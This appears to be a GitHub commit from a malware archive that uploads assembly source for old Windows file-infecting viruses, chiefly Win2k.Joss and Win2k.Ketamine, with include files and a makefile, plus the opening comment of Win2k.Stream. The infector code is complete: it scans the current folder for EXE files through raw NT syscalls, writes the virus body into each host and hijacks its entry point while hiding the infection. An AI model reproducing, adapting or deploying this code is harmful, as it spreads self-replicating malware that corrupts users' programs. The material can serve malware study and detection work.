Add files via upload

This commit is contained in:
vxunderground 2020-10-09 21:54:36 -05:00 committed by GitHub
parent 274e38533a
commit cb8e4ddb00
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
45 changed files with 63128 additions and 0 deletions

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

1062
LegacyWindows/Win2k.DOB.asm Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,715 @@
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.ASM]ÄÄÄ
; Win2k.Joss by Ratter/29A
.586p
.model flat, stdcall
locals
include useful.inc
include win32api.inc
include mz.inc
include pe.inc
include my_macroz.inc
NtOpenFile equ 64h
NtQueryDirectoryFile equ 7dh
NtClose equ 18h
NtCreateSection equ 2bh
NtMapViewOfSection equ 5dh
NtUnmapViewOfSection equ 0e7h
unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends
path_name struc
pn_name dw MAX_PATH dup(?)
path_name ends
object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends
pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends
@asciiz_to_unicode macro
xor ah, ah
lodsb
stosw
test al, al
jz $+4
jmp $-7
endm
@syscall macro fc, paramz
mov eax, fc
mov edx, esp
int 2eh
add esp, (paramz*4)
endm
.data
db ?
.code
start_:
_joss_start_ equ $
pushad
@SEH_SetupFrame <jmp joss_end>
bt dword ptr [esp+8+cPushad], 31
jc joss_end
start proc near
local trailings:unicode_string
local trailings_point_dir:path_name
local object_attribz:object_attributes
local dhandle:DWORD
local io_status_block:pio_status_block
local find_buffer:path_name
local wfnd:WIN32_FIND_DATA
mov dword ptr [trailings], 80008h
lea eax, [trailings_point_dir]
mov dword ptr [trailings.us_pstring], eax
@pushsz "\??\"
pop esi
xchg eax, edi
@asciiz_to_unicode
xor ecx, ecx
mov esi, 20290h
movzx eax, word ptr [trailings]
lea edi, [trailings_point_dir+eax]
lodsw
test ax, ax
jz $+7
inc ecx
stosw
jmp $-10
shl ecx, 1
add cx, word ptr [trailings]
mov ax, cx
shl ecx, 16
mov cx, ax
mov dword ptr [trailings], ecx
xor eax, eax
lea edi, [object_attribz]
push edi
push 18h/4
pop ecx
rep stosd
pop edi
push 18h
pop dword ptr [edi]
lea eax, [trailings]
mov dword ptr [edi+8], eax
push 40h
pop dword ptr [edi+12]
push 4021h
push 03h
lea eax, [io_status_block]
push eax
push edi
push 100001h
lea eax, [dhandle]
push eax
@syscall NtOpenFile, 6
mov ebx, dword ptr [dhandle]
xor ecx, ecx
main_loop:
push ecx
xor eax, eax
push eax
call $+13
dw 0ah
dw 0ah
dd ?
pop esi
call $+15
dw '<', '.', 'e', 'x', 'e'
pop edi
mov dword ptr [esi+4], edi
jecxz $+4
xor esi, esi
push esi
push 1
push 3
push MAX_PATH*2
lea edx, [find_buffer]
push edx
lea edx, [io_status_block]
push edx
push eax
push eax
push eax
push ebx
@syscall NtQueryDirectoryFile, 11
pop ecx
test eax, eax
jnz main_loop_end
push dword ptr [trailings]
lea esi, [find_buffer]
lea edi, [trailings]
call infect_file
pop dword ptr [trailings]
inc ecx
jmp main_loop
main_loop_end:
push ebx
@syscall NtClose, 1
leave
joss_end:
@SEH_RemoveFrame
popad
mov eax, offset end
host_start equ $-4
jmp eax
db 0, "[Win2k.Joss] by Ratter/29A", 0
infect_file proc near
local trailings_point_dir:path_name
local object_attribz:object_attributes
local dhandle:DWORD
local shandle:DWORD
local io_status_block:pio_status_block
local soffset:DWORD
local bytes:DWORD
local soffset_:QWORD
pushad
@SEH_SetupFrame <jmp infect_file_end>
movzx eax, word ptr [edi]
mov edx, dword ptr [edi+4]
push edi
lea edi, [edx+eax]
mov ecx, dword ptr [esi+3ch]
push ecx
lea esi, [esi+5eh]
rep movsb
pop ecx
pop edi
add cx, word ptr [edi]
mov ax, cx
shl ecx, 16
mov cx, ax
mov dword ptr [edi], ecx
xchg edi, esi
xor eax, eax
lea edi, [object_attribz]
push edi
push 18h/4
pop ecx
rep stosd
pop edi
push 18h
pop dword ptr [edi]
mov dword ptr [edi+8], esi
push 40h
pop dword ptr [edi+12]
push 4060h
push 03h
lea eax, [io_status_block]
push eax
push edi
push 100007h
lea eax, [dhandle]
push eax
@syscall NtOpenFile, 6
test eax, eax
jnz infect_file_end
xor eax, eax
push dword ptr [dhandle]
push 08000000h
push PAGE_READWRITE
push eax
push eax
push 0f0007h
lea eax, [shandle]
push eax
@syscall NtCreateSection, 7
test eax, eax
jnz infect_file_end_close_file
lea edi, [soffset]
std
mov ecx, 4
xor eax, eax
rep stosd
cld
xor eax, eax
push 4
push eax
push 1
lea edx, [bytes]
push edx
lea edx, [soffset_]
push edx
push eax
push eax
lea eax, [soffset]
push eax
push -1
push dword ptr [shandle]
@syscall NtMapViewOfSection, 10
test eax, eax
jnz infect_file_end_close_section
mov ebx, dword ptr [soffset]
;
call check_for_valid_pe
jc infect_file_end_unmap_view
jnz infect_file_end_unmap_view
cmp dword ptr [ebx.MZ_res], not "RAT"
jz infect_file_end_unmap_view
mov eax, dword ptr [ebx.MZ_lfanew]
add eax, ebx
movzx edi, word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi, [edi+eax+IMAGE_SIZEOF_FILE_HEADER+4]
mov esi, dword ptr [edi.SH_PointerToRawData]
mov ecx, dword ptr [edi.SH_SizeOfRawData]
add esi, ebx
xor edx, edx
gap_loop:
jecxz gap_loop_end
lodsb
dec ecx
call is_gap
jz $+6
xor edx, edx
jmp gap_loop
inc edx
cmp edx, _joss_end_-_joss_start_
jnz gap_loop
gap_loop_end:
cmp edx, _joss_end_-_joss_start_
jnz infect_file_end_unmap_view
sub esi, _joss_end_-_joss_start_
push esi
sub esi, dword ptr [edi.SH_PointerToRawData]
pop edi
sub esi, ebx
push esi
call $+5
joss_here:
pop esi
sub esi, joss_here-_joss_start_
mov ecx, _joss_end_-_joss_start_
rep movsb
pop esi
mov eax, dword ptr [ebx.MZ_lfanew]
mov dword ptr [ebx.MZ_res], not "RAT"
add eax, ebx
and dword ptr [eax.NT_OptionalHeader.OH_CheckSum], 0
mov ecx, dword ptr [eax.NT_OptionalHeader.OH_ImageBase]
add ecx, dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov dword ptr [edi-(_joss_end_-host_start)], ecx
mov edx, dword ptr [eax.NT_OptionalHeader.OH_BaseOfCode]
add edx, esi
mov dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint], edx
;
infect_file_end_unmap_view:
push ebx
push -1
@syscall NtUnmapViewOfSection, 2
infect_file_end_close_section:
push dword ptr [shandle]
@syscall NtClose, 1
infect_file_end_close_file:
push dword ptr [dhandle]
@syscall NtClose, 1
infect_file_end:
@SEH_RemoveFrame
popad
leave
retn
infect_file endp
check_for_valid_pe:
pushad
movzx eax, word ptr [ebx]
not eax
cmp eax, not "ZM"
stc
jnz check_for_valid_pe_end
mov edx, dword ptr [ebx.MZ_lfanew]
add edx, ebx
movzx eax, word ptr [edx]
not eax
cmp eax, not "EP"
stc
jnz check_for_valid_pe_end
cmp word ptr [edx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
stc
jnz check_for_valid_pe_end
movzx eax, word ptr [edx.NT_FileHeader.FH_Characteristics]
not al
test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
clc
check_for_valid_pe_end:
popad
retn
is_gap:
cmp al, 90h
jz is_gap_end
cmp al, 0cch
jz is_gap_end
test al, al
jz is_gap_end
is_gap_end:
retn
_joss_end_ equ $
end:
push 0
calle ExitProcess
start endp
end start_
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.DEF]ÄÄÄ
NAME PREDLOHA WINDOWAPI
DESCRIPTION 'Predloha'
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
EXETYPE WINDOWS
HEAPSIZE 131072
STACKSIZE 131072
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.DEF]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_include.inc]ÄÄÄ
SERVICE_TABLE_ENTRY struc
STE_ServiceName dd ?
STE_ServiceProc dd ?
SERVICE_TABLE_ENTRY ends
SERVICE_STATUS struc
SS_ServiceType dd ?
SS_CurrentState dd ?
SS_ControlsAccepted dd ?
SS_Win32ExitCode dd ?
SS_ServiceSpecificExitCode dd ?
SS_CheckPoint dd ?
SS_WaitHint dd ?
SERVICE_STATUS ends
OVERLAPPED struc
O_Internal dd ?
O_InternalHigh dd ?
O_loffset dd ?
O_OffsetHigh dd ?
O_hEvent dd ?
OVERLAPPED ends
sockaddr_in struc
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (?)
sockaddr_in ends
hostent struc
h_name dd ?
h_alias dd ?
h_addr dw ?
h_len dw ?
h_list dd ?
hostent ends
timeval struc
tv_sec dd ?
tv_usec dd ?
timeval ends
fd_set struc
fd_count dd ?
fd_array dd ?
fd_set ends
RASCONNSTATUSA struc
RCS_dwSize dd ?
RCS_rasconnstate dd ?
RCS_dwError dd ?
RCS_szDeviceType db 16 + 1 dup(?)
RCS_szDeviceName db 128 + 1 dup(?)
RASCONNSTATUSA ends
_email_ struc
EM_MailFrom dd ? ; pointer to ASCIIZ
EM_RcptTo dd ? ; pointer to ASCIIZ
EM_Subject dd ? ; pointer to ASCIIZ
EM_Message dd ? ; pointer to ASCIIZ
EM_FilezNum dd ? ; number of filez; if highest bit is set
; then in EM_Filez is a *.msg file
EM_Filez dd ? ; pointer to ASCIIZ pointerz
_email_ ends
SYSTEMTIME struc
ST_Year dw ?
ST_Month dw ?
ST_DayOfWeek dw ?
ST_Day dw ?
ST_Hour dw ?
ST_Minute dw ?
ST_Second dw ?
ST_Milliseconds dw ?
SYSTEMTIME ends
oper struc
OP_Oper dd ?
OP_Rites db ? ; 1 - RW; 0 - Ronly
oper ends
@copy macro source
local copy_end
local copy_loop
push esi
mov esi, source
copy_loop:
lodsb
test al, al
jz copy_end
stosb
jmp copy_loop
copy_end:
pop esi
endm
@endsz_ macro
local nxtchr
push esi
mov esi, edi
nxtchr:
lodsb
test al, al
jnz nxtchr
xchg esi, edi
pop esi
endm
@pushvar macro variable, empty
local next_instr
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
CR_LF equ 0a0dh
WAIT_TIMEOUT equ 103h
SMTP_PORT equ 25
SC_MANAGER_CONNECT equ 1
SC_MANAGER_CREATE_SERVICE equ 2
DELETE equ 10000h
SERVICE_AUTO_START equ 2
SERVICE_WIN32_OWN_PROCESS equ 10h
SERVICE_ACCEPT_SHUTDOWN equ 4
SERVICE_CONTROL_RUN equ 0
CK_SERVICE_CONTROL equ 0
CK_PIPE equ 1
NO_ERROR equ 0
SERVICE_CONTROL_INTERROGATE equ 4
SERVICE_CONTROL_SHUTDOWN equ 5
SERVICE_STOPPED equ 1
SERVICE_START_PENDING equ 2
SERVICE_STOP_PENDING equ 3
SERVICE_RUNNING equ 4
SERVICE_CONTINUE_PENDING equ 5
SERVICE_PAUSE_PENDING equ 6
SERVICE_PAUSED equ 7
PIPE_ACCESS_OUTBOUND equ 2
PIPE_TYPE_BYTE equ 0
FILE_FLAG_OVERLAPPED equ 40000000h
INFINITE equ -1
AF_INET equ 2
HEAP_ZERO_MEMORY equ 8
SOCK_STREAM equ 1
CR_LF equ 0a0dh
MAX_ALLOWED_OPERZ equ 5
SYNCHRONIZE equ 100000h
RASCS_CONNECTED equ 2000h
MOVEFILE_DELAY_UNTIL_REBOOT equ 4
HKEY_LOCAL_MACHINE equ 80000002h
KEY_ENUMERATE_SUB_KEYS equ 8h
HKEY_USERS equ 80000003h
KEY_QUERY_VALUE equ 1
KEY_SET_VALUE equ 2
REG_SZ equ 1
REG_DWORD equ 4
ERROR_NO_MORE_ITEMS equ 259
INET_THREADZ_COUNT equ 2
INTERNET_OPEN_TYPE_DIRECT equ 1
POP3_PORT equ 110
OK equ " KO+"
ERROR equ "RRE-"
SOXZ_PORT equ 1080
STARTUPINFO STRUCT ;used by CreateProcessA API
cb DWORD ?
lpReserved DWORD ?
lpDesktop DWORD ?
lpTitle DWORD ?
dwX DWORD ?
dwY DWORD ?
dwXSize DWORD ?
dwYSize DWORD ?
dwXCountChars DWORD ?
dwYCountChars DWORD ?
dwFillAttribute DWORD ?
dwFlags DWORD ?
wShowWindow WORD ?
cbReserved2 WORD ?
lpReserved2 DWORD ?
hStdInput DWORD ?
hStdOutput DWORD ?
hStdError DWORD ?
STARTUPINFO ENDS
PROCESS_INFORMATION STRUCT
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS
GMEM_ZEROINIT equ 040h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_include.inc]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_macroz.inc]ÄÄÄ
@pushvar macro variable, empty
local next_instr
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
@messagebox macro message, empty
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
push 0
@pushsz "Debug"
@pushsz <message>
push 0
call MessageBoxA
endm
calle macro api
extrn api:PROC
call api
endm
@gimme_delta macro
local gimme_delta
call gimme_delta
gimme_delta:
mov esi, esp
lodsd
sub eax, offset gimme_delta
xchg eax, ebp
mov esp, esi
endm
calla macro api
call dword ptr [ebp+api]
endm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_macroz.inc]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKEFILE]ÄÄÄ
# make Will build pemangle.exe
# make -B -DDEBUG Will build the debug version of pemangle.exe
NAME = joss
OBJS = $(NAME).obj
DEF = $(NAME).def
!if $d(DEBUG)
TASMDEBUG=/zi /m
LINKDEBUG=/v
!else
TASMDEBUG=/m
LINKDEBUG=
!endif
!if $d(MAKEDIR)
IMPORT=import32.lib # Edit this to point your own library path
!else
IMPORT=import32.lib # or put the file in the same directory
!endif
$(NAME).EXE: $(OBJS) $(DEF)
tlink32 /Tpe /aa /c /x $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF)
pewrite.exe $(NAME).exe
del $(OBJS)
.asm.obj:
tasm32 $(TASMDEBUG) /ml /i..\..\includes $&.asm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKEFILE]ÄÄÄ

View File

@ -0,0 +1,547 @@
COMMENT#
Ú¿
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
ÃÅÅÅÅÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÅÅÅÅ´
ÃÅÅÅ´ Win2k.Ketamine ÃÅÅÅ´
ÃÅÅÅ´ by Benny/29A ÃÅÅÅ´
ÃÅÅÅÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÅÅÅÅ´
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
ÀÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÙ
This is my next (very small) virus, specialised on Win2k machinez. It should be also
able to run under WinNT machinez, but I'm not sure, becoz I didn't test it. The virus
does not use any APIz, instead of that, its uses NT syscallz. The virus does not do
anything special apart of that, it can only infect all EXE filez in current folder
and does not manifest itself in any way. Infected filez have the same size, becoz
virus overwritez the relocation section. The virus should be compatible with newer
versionz of Windows OS'ez based on NT system. The only point of incompatibility is,
becoz I decided to not use ANY API, the code where the virus expect the fixed address
of NTDLL.dll modul loaded in process virtual memory. Virus searchez inside the NTDLL.dll
for syscall numberz and so it SHOULD be forward compatible. At least a bit...;-)
Here I have to thank Ratter, he inspired me a lot with his Win2k.Joss. The functionality
of Win2k.Ketamine and Win2k.Joss is almost the same, I only recoded some of his code on my
own and added a few new ideaz, which should make Ketamine more compatible with Windows,
rather than Joss. I have to say, that he inspired me a lot, but the code is not ripped. I
also disassembled NTDLL.dll and NTOSKRNL.EXE and found the same resultz as him, surprisely ;-D
But ofcoz, I decided to not discover the America again and so I used some of his code in
my virus.
The virus was coded only to show that something is possible, not to make high-spreading virus.
Enjoy it!
(c)oded in August, 2001
Czech Republic.
#
.386p
.model flat,stdcall
locals
include win32api.inc
include useful.inc
include mz.inc
include pe.inc
invoke macro api ;macro for API callz
extrn api:PROC
call api
endm
unicode_string struc
us_length dd ? ;length of the string
us_pstring dd ? ;ptr to string
unicode_string ends
path struc
p_path dw MAX_PATH dup (?) ;maximal length of path in unicode
path ends
object_attributes struc
oa_length dd ? ;length of structure
oa_rootdir dd ?
oa_objectname dd ? ;name of object
oa_attribz dd ? ;attributez of the object
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends
pio_status struc ;status structure
ps_ntstatus dd ?
ps_info dd ?
pio_status ends
.data
db ? ;some data
.code
_Start: pushad
gdelta = $+5 ;delta offset
@SEH_SetupFrame <jmp end_seh>
mov edx,cs
xor dl,dl
jne end_seh ;must be under winNT/2k!
mov ebp,[esp+4]
call get_syscalls ;get numberz of all needed syscallz
Start Proc
local uni_string:unicode_string
local u_string:path
local object_attr:object_attributes
local io_status:pio_status
local dHandle:DWORD
local WFD:WIN32_FIND_DATA
mov [uni_string.us_length],80008h ;length of the string
lea edi,[u_string]
mov [uni_string.us_pstring],edi ;set the pointer
call @qm
dw '\','?','?','\' ;initial string of the object
@qm: pop esi
movsd
movsd ;save it
mov esi,fs:[18h]
mov esi,[esi+30h]
mov esi,[esi+10h]
add esi,24h
mov esi,[esi+4] ;ESI = current folder
xor ecx,ecx
l_copy: lodsw
inc ecx
stosw ;append it
test eax,eax
jne l_copy
dec ecx
lea edi,[uni_string]
shl ecx,1
add cx,[edi]
mov ax,cx
shl ecx,16
mov cx,ax
mov [edi],ecx ;save the new length
xor ecx,ecx ;initialize the structure ...
lea eax,[uni_string]
lea edi,[object_attr]
mov [edi.oa_length],24
and [edi.oa_rootdir],ecx
mov [edi.oa_objectname],eax
mov [edi.oa_attribz],40h
and [edi.oa_secdesc],ecx
and [edi.oa_secqos],ecx
push 4021h
push 3h
lea eax,[io_status]
push eax
push edi
push 100001h
lea ebx,[dHandle]
push ebx
call NtOpenFile ;open the current folder
mov ebx,[ebx]
xor ecx,ecx
f_loop: push ecx
xor eax,eax
push eax
call @p1
dd 0A000Ah ;length of the string
dd ? ;ptr to string
@p1: pop esi
call @exe
dw '<','.','E','X','E' ;string
@exe: pop dword ptr [esi+4] ;save the ptr
jecxz @1st
xor esi,esi
@1st: push esi
push 1
push 3
push MAX_PATH*2
lea edx,[WFD]
push edx
lea edx,[io_status]
push edx
push eax
push eax
push eax
push ebx
mov eax,12345678h
NtQDF = dword ptr $-4
lea edx,[esp]
int 2Eh ;NtQueryDirectoryFile
add esp,4*11 ;correct the stack
pop ecx
test eax,eax
jne e_loop ;quit if no more file
push dword ptr [uni_string] ;save the length
lea esi,[WFD] ;WIN32_FIND_DATA structure
lea edi,[uni_string] ;the filename
call infect_file ;infect the file
pop dword ptr [uni_string] ;restore the length
inc ecx
jmp f_loop ;find next file
e_loop: push ebx
call NtClose ;close the directory
leave
end_seh:@SEH_RemoveFrame
popad
extrn ExitProcess:PROC
push cs
push offset ExitProcess
original_ep = dword ptr $-4
retf ;jump to host!
Start EndP
NtClose:mov eax,12345678h
NtC = dword ptr $-4
lea edx,[esp+4]
int 2Eh ;close the handle
ret 4
NtOpenFile:
mov eax,12345678h
NtOF = dword ptr $-4
lea edx,[esp+4]
int 2Eh ;open the object
ret 4*6
infect_file Proc
local object_attr:object_attributes
local io_status:pio_status
local fHandle:DWORD
local sHandle:DWORD
local sOffset:DWORD
local bytez:DWORD
local sOffset2:QWORD
pushad
@SEH_SetupFrame <jmp if_end>
movzx edx,word ptr [edi]
add edx,[edi+4]
push edi
mov edi,edx ;EDI - end of string
mov ecx,[esi+3Ch] ;size of filename
push ecx
lea esi,[esi+5Eh] ;filename
rep movsb ;copy the string
pop ecx
pop edi
add cx,[edi]
mov ax,cx
shl ecx,16
mov cx,ax
mov [edi],ecx ;size of path+filename
xchg eax,edi
xor ecx,ecx ;initialize the structure...
lea edi,[object_attr]
mov [edi.oa_length],24
and [edi.oa_rootdir],ecx
mov [edi.oa_objectname],eax
mov [edi.oa_attribz],40h
and [edi.oa_secdesc],ecx
and [edi.oa_secqos],ecx
push 4060h
push 3h
lea ecx,[io_status]
push ecx
push edi
push 100007h
lea ebx,[fHandle]
push ebx
call NtOpenFile ;open the file
test eax,eax
jne if_end
mov ebx,[ebx]
xor eax,eax
push ebx
push 8000000h
push PAGE_READWRITE
push eax
push eax
push 0F0007h
lea ebx,[sHandle]
push ebx
mov eax,12345678h
NtCS = dword ptr $-4
mov edx,esp
int 2Eh ;NtCreateSection
add esp,4*7 ;correct stack
test eax,eax
jne if_end2
mov ebx,[ebx]
lea edx,[bytez] ;initialize some variablez
xor eax,eax
and [sOffset],eax
and [edx],eax
and dword ptr [sOffset2],eax
and dword ptr [sOffset2+4],eax
push 4
push eax
push 1
push edx
lea edx,[sOffset2]
push edx
push eax
push eax
lea esi,[sOffset]
push esi
push -1
push ebx
mov eax,12345678h
NtMVOS = dword ptr $-4
mov edx,esp
int 2Eh ;NtMapViewOfSection
add esp,4*10
test eax,eax
jne if_end3
mov ebx,[esi] ;EBX = start of memory-mapped file
mov esi,[ebx.MZ_lfanew]
add esi,ebx
mov eax,[esi]
add eax,-IMAGE_NT_SIGNATURE
jne if_end4 ;must be PE file
;discard not_executable and system filez
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne if_end4
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je if_end4
test ax,IMAGE_FILE_DLL
jne if_end4
test ax,IMAGE_FILE_SYSTEM
jne if_end4
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne if_end4
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je if_end4
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,esi
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
mov eax,[edx]
test eax,eax
je if_end4
cmp eax,[edi.SH_VirtualAddress]
jne if_end4
cmp [edi.SH_SizeOfRawData],virus_end-_Start
jb if_end4 ;is it large enough?
pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;erase relocs record
;align the section size
mov eax,virus_end-_Start
cmp eax,[edi.SH_VirtualSize]
jb o_vs
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
cdq
div ecx
test edx,edx
je o_al
inc eax
o_al: mul ecx
mov [edi.SH_VirtualSize],eax
o_vs: push ebp ;save EBP
call idelta ;get delta offset
idelta: pop ebp
push dword ptr [ebp + original_ep - idelta]
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
push dword ptr [edi.SH_VirtualAddress]
pop dword ptr [esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [ebp + original_ep - idelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
add [ebp + original_ep - idelta],eax
;set saved_entrypoint variable
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,ebx
lea esi,[ebp + _Start - idelta]
mov ecx,(virus_end-_Start+3)/4
rep movsd ;overwrite relocs by virus body
popad
pop dword ptr [ebp + original_ep - idelta]
;restore used variablez
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
pop ebp ;restore EBP
if_end4:push ebx
push -1
mov eax,12345678h
NtUVOS = dword ptr $-4
mov edx,esp
int 2Eh ;NtUnmapViewOfSection
add esp,4*2
if_end3:push [sHandle]
call NtClose ;close the section
if_end2:push [fHandle]
call NtClose ;close the file
if_end: @SEH_RemoveFrame
popad
ret
infect_file EndP
get_syscalls Proc
mov esi,77F80000h ;base of NTDLL.dll
mov edx,[esi.MZ_lfanew]
add edx,esi
mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add ebx,esi
mov ecx,[ebx.ED_NumberOfNames]
mov edx,[ebx.ED_AddressOfNames]
add edx,esi
xor eax,eax
c_find: pushad
add esi,[edx+eax*4]
push esi
@endsz
mov edi,esi
pop esi
sub edi,esi
call CRC32 ;calculate CRC32 of the API
push 6 ;number of syscallz
pop ecx
call @callz
dd 09ECA4E0Fh ;NtOpenFile
dd 0D5494178h ;NtQueryDirectoryFile
dd 0B964B7BEh ;NtClose
dd 03F2482E6h ;NtCreateSection
dd 010710614h ;NtMapViewOfSection
dd 0864CF09Bh ;NtUnmapViewOfSection
@callz: pop edx
c_look: cmp [edx-4+(ecx*4)],eax
je got_call
loop c_look
c_out: popad
inc eax
loop c_find
ret
got_call:
mov edx,[ebx.ED_AddressOfOrdinals]
mov esi,[esp.Pushad_esi]
add edx,esi
mov eax,[esp.Pushad_eax]
movzx eax,word ptr [edx+eax*2]
mov edx,esi
add edx,[ebx.ED_AddressOfFunctions]
mov eax,[edx+eax*4]
add eax,esi
mov eax,[eax+1] ;get number of the syscall
lea edx,[ebp + _Start - gdelta]
add edx,[ebp + sys_addr-4+ecx*4 - gdelta]
mov [edx],eax ;save it
jmp c_out
get_syscalls EndP
sys_addr: ;where to save syscall numberz...
dd offset NtOF-_Start
dd offset NtQDF-_Start
dd offset NtC-_Start
dd offset NtCS-_Start
dd offset NtMVOS-_Start
dd offset NtUVOS-_Start
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
signature db 0,'WinNT.Ketamine by Benny/29A',0
virus_end:
End _Start

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,634 @@
COMMENT#
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Win2k.Stream ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A and Ratter ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Let us introduce very small and simple infector presenting how to use features
of NTFS in viruses. This virus loox like standard Petite-compressed PE file.
However, it presents the newest way of PE file infecting method.
How the virus worx? It uses streamz, the newest feature of NTFS filesystem
and file compression, already implemented in old NTFS fs.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
